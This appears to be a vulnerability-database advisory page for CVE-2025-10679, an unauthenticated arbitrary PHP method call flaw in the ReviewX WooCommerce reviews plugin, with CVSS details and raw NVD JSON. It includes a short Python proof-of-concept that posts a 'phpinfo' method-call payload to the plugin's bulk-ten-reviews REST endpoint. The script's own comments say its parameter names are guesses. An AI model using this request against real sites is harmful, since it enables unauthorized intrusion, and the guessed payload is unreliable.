Security Vulnerability Report
中文
CVE-2025-10679 CVSS 7.3 HIGH

CVE-2025-10679

Published: 2026-03-23 06:16:18
Last Modified: 2026-04-24 16:32:54

Description

The ReviewX – WooCommerce Product Reviews with Multi-Criteria, Reminder Emails, Google Reviews, Schema & More plugin for WordPress is vulnerable to arbitrary method calls in all versions up to, and including, 2.2.12. This is due to insufficient input validation in the bulkTenReviews function that allows user-controlled data to be passed directly to a variable function call mechanism. This makes it possible for unauthenticated attackers to call arbitrary PHP class methods that take no inputs or have default values, potentially leading to information disclosure or remote code execution depending on available methods and server configuration.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

ReviewX <= 2.2.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Replace with actual target) target_url = "http://example.com/wp-json/reviewx/v1/reviews/bulk-ten-reviews" # Vulnerability occurs in the bulkTenReviews function where user input # is passed to a variable function call. We simulate triggering a method. # Depending on the available classes/methods in the WP environment, # one might trigger information disclosure or RCE. payload = { # The specific parameter name might vary based on plugin implementation, # typically involves passing the class and method name to be called. "method_name": "phpinfo", # Example method if available in scope "args": [] } try: response = requests.post(target_url, json=payload) print(f"Status Code: {response.status_code}") print("Response Body:") print(response.text) except Exception as e: print(f"An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10679", "sourceIdentifier": "[email protected]", "published": "2026-03-23T06:16:17.797", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ReviewX – WooCommerce Product Reviews with Multi-Criteria, Reminder Emails, Google Reviews, Schema & More plugin for WordPress is vulnerable to arbitrary method calls in all versions up to, and including, 2.2.12. This is due to insufficient input validation in the bulkTenReviews function that allows user-controlled data to be passed directly to a variable function call mechanism. This makes it possible for unauthenticated attackers to call arbitrary PHP class methods that take no inputs or have default values, potentially leading to information disclosure or remote code execution depending on available methods and server configuration."}, {"lang": "es", "value": "El plugin ReviewX – WooCommerce Product Reviews with Multi-Criteria, Reminder Emails, Google Reviews, Schema &amp; More para WordPress es vulnerable a llamadas a métodos arbitrarios en todas las versiones hasta la 2.2.12, inclusive. Esto se debe a una validación de entrada insuficiente en la función bulkTenReviews que permite que los datos controlados por el usuario se pasen directamente a un mecanismo de llamada a función variable. Esto hace posible que atacantes no autenticados llamen a métodos de clase PHP arbitrarios que no toman entradas o tienen valores predeterminados, lo que podría llevar a una revelación de información o ejecución remota de código dependiendo de los métodos disponibles y la configuración del servidor."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/reviewx/tags/2.2.7/app/Rest/Controllers/ReviewController.php#L426", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/reviewx/tags/2.2.7/app/Services/ReviewService.php#L731", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/reviewx/tags/2.2.7/app/Utilities/Helper.php#L65", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/reviewx/tags/2.2.7/routes/api.php#L220", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0935ede4-05bc-48a2-94a3-8d92002e02bb?source=cve", "source": "[email protected]"}]}}